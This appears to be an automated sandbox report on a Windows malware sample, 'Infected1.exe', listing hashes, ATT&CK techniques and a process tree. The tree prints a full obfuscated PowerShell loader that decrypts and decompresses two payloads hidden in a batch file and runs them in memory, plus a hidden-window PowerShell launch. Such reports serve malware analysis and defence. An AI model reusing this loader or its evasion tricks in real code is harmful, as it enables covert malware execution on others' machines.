29ced2fe633060e11ec10a236f8085a34cb8448ea7054cf6e8667ce7f7b4897f

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
14-07-2024 21:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Infected1.exe
Size

14.0MB
MD5

6e8f03f7fe2e82665e55c2626ea06ef1
SHA1

35f635cafedaa480d8f606153003bdb016914cbc
SHA256

29ced2fe633060e11ec10a236f8085a34cb8448ea7054cf6e8667ce7f7b4897f
SHA512

366285e599e445ea3b11645708f047bebd5e8f51a4ea5767d93d5353e976161ac3c5da3a555d50606df395b6e195a3ca331e543aab1c1ed16287728a9ef8cf63
SSDEEP

393216:jc6lGw0Y6m3aj2Kpj1caTF6n7mhbbmiyrEDxC:wtuFK6Kpjun7mBldC

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3056	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3056	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3056	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3040 wrote to memory of 2788	3040	Infected1.exe	30
PID 3040 wrote to memory of 2788	3040	Infected1.exe	30
PID 3040 wrote to memory of 2788	3040	Infected1.exe	30
PID 3040 wrote to memory of 2788	3040	Infected1.exe	30
PID 2788 wrote to memory of 2528	2788	cmd.exe	32
PID 2788 wrote to memory of 2528	2788	cmd.exe	32
PID 2788 wrote to memory of 2528	2788	cmd.exe	32
PID 2788 wrote to memory of 2528	2788	cmd.exe	32
PID 2788 wrote to memory of 3056	2788	cmd.exe	33
PID 2788 wrote to memory of 3056	2788	cmd.exe	33
PID 2788 wrote to memory of 3056	2788	cmd.exe	33
PID 2788 wrote to memory of 3056	2788	cmd.exe	33

C:\Users\Admin\AppData\Local\Temp\Infected1.exe
"C:\Users\Admin\AppData\Local\Temp\Infected1.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3040
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\Infected1.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2788
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jIHFJlpFax/g5Tl6NFogGxlvEHqkNww54xhH1m2siSg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Bg/ynoybSTcrBvMXtDXN0Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DHfse=New-Object System.IO.MemoryStream(,$param_var); $KvAZV=New-Object System.IO.MemoryStream; $lsHES=New-Object System.IO.Compression.GZipStream($DHfse, [IO.Compression.CompressionMode]::Decompress); $lsHES.CopyTo($KvAZV); $lsHES.Dispose(); $DHfse.Dispose(); $KvAZV.Dispose(); $KvAZV.ToArray();}function execute_function($param_var,$param2_var){ $XqXPw=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $XFnSe=$XqXPw.EntryPoint; $XFnSe.Invoke($null, $param2_var);}$kUkBx = 'C:\Users\Admin\AppData\Local\Temp\RarSFX0\Infected1.bat';$host.UI.RawUI.WindowTitle = $kUkBx;$HdQdv=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($kUkBx).Split([Environment]::NewLine);foreach ($XaqAI in $HdQdv) { if ($XaqAI.StartsWith('AjsZKlntHESYEupSfPjf')) { $ywJdG=$XaqAI.Substring(20); break; }}$payloads_var=[string[]]$ywJdG.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:2528
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Infected1.bat

Filesize
17.7MB

MD5
064380af45c837fdfa6ee92bedbfc152

SHA1
9d37be37e00bd92d665e329c1b12246b39d63527

SHA256
28da4bf294225ebc10d29ab0c023967c76dc6a9a7fd8595295e23409f4328910

SHA512
774d1c7a0793b9ca62f54d379e0b95538e0a3fac5d19cfcde426118c3b1eb9d9f882be0b08c84ed71e282705e8a9483fba554814ed814ae210acb5b35cb77b57

Download Submit